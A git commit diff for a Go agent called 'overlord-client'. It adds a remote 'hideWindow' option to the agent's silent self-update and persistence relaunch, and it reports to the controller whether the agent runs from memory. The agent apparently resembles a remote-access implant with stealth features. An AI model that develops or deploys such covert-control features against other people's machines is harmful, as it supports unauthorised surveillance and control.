new build and update command

This commit is contained in:
KingKDot
2026-03-29 13:39:51 -05:00
parent 47593a917f
commit ecf84d8a27
12 changed files with 464 additions and 14 deletions
@@ -17,7 +17,7 @@ import (
"overlord-client/cmd/agent/wire"
)
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string) error {
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
sourcePath = strings.TrimSpace(sourcePath)
if sourcePath == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
@@ -42,7 +42,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
go func() {
// Let the command_result flush before beginning process replacement.
time.Sleep(250 * time.Millisecond)
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence); err != nil {
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil {
log.Printf("agent_update: %v", err)
return
}
@@ -16,7 +16,7 @@ func samePathByOS(left string, right string) bool {
return filepath.Clean(left) == filepath.Clean(right)
}
func runAgentUpdate(sourcePath string, enablePersistence bool) error {
func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error {
currentExe, currentErr := resolveCurrentExecutableOnDisk()
startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
if err != nil {
@@ -21,14 +21,14 @@ func samePathByOS(left string, right string) bool {
return strings.EqualFold(filepath.Clean(left), filepath.Clean(right))
}
func runAgentUpdate(sourcePath string, enablePersistence bool) error {
func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error {
currentExe, currentErr := resolveCurrentExecutableOnDisk()
startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
if err != nil {
return err
}
log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath)
log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q hideWindow=%v", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath, hideWindow)
if currentErr != nil && !startupEnabled {
return currentErr
@@ -65,7 +65,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
if shouldLaunchUploadedBinaryDirectly(currentExe, startupEnabled) {
log.Printf("agent_update[win]: current executable appears transient (%q), launching uploaded binary directly: %q", currentExe, sourcePath)
if err := startSilentProcess(sourcePath, nil, "", true); err != nil {
if err := startSilentProcess(sourcePath, nil, "", hideWindow); err != nil {
return fmt.Errorf("failed to launch uploaded binary directly: %w", err)
}
return nil
@@ -84,7 +84,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
}
_ = os.Remove(sourcePath)
if err := startSilentProcess(restartPath, nil, "", true); err != nil {
if err := startSilentProcess(restartPath, nil, "", hideWindow); err != nil {
return fmt.Errorf("failed to launch updated agent: %w", err)
}
log.Printf("agent_update[win]: started updated executable directly: %q", restartPath)
@@ -1747,7 +1747,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
hash, _ := payload["hash"].(string)
return HandleAgentUpdate(ctx, env, cmdID, path, hash)
hideWindow, _ := payload["hideWindow"].(bool)
return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow)
case "process_list":
return HandleProcessList(ctx, env, cmdID)
case "process_kill":
+21
View File
@@ -11,6 +11,7 @@ import (
"math/rand"
"net/http"
"os"
"path/filepath"
"runtime"
"runtime/debug"
"strconv"
@@ -29,6 +30,25 @@ import (
"nhooyr.io/websocket"
)
func isRunningInMemory() bool {
exePath, err := os.Executable()
if err != nil {
return true
}
if realPath, err := filepath.EvalSymlinks(exePath); err == nil {
exePath = realPath
}
absPath, err := filepath.Abs(exePath)
if err != nil {
return true
}
info, err := os.Stat(absPath)
if err != nil || !info.Mode().IsRegular() {
return true
}
return false
}
func runClient(cfg config.Config) {
baseBackoff := computeBaseBackoff()
backoff := baseBackoff
@@ -481,6 +501,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
BuildTag: cfg.BuildTag,
PublicKey: publicKeyB64,
Signature: signatureB64,
InMemory: isRunningInMemory(),
}
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
@@ -15,6 +15,7 @@ type Hello struct {
BuildTag string `msgpack:"buildTag,omitempty"`
PublicKey string `msgpack:"publicKey,omitempty"`
Signature string `msgpack:"signature,omitempty"`
InMemory bool `msgpack:"inMemory,omitempty"`
}
type EnrollmentChallenge struct {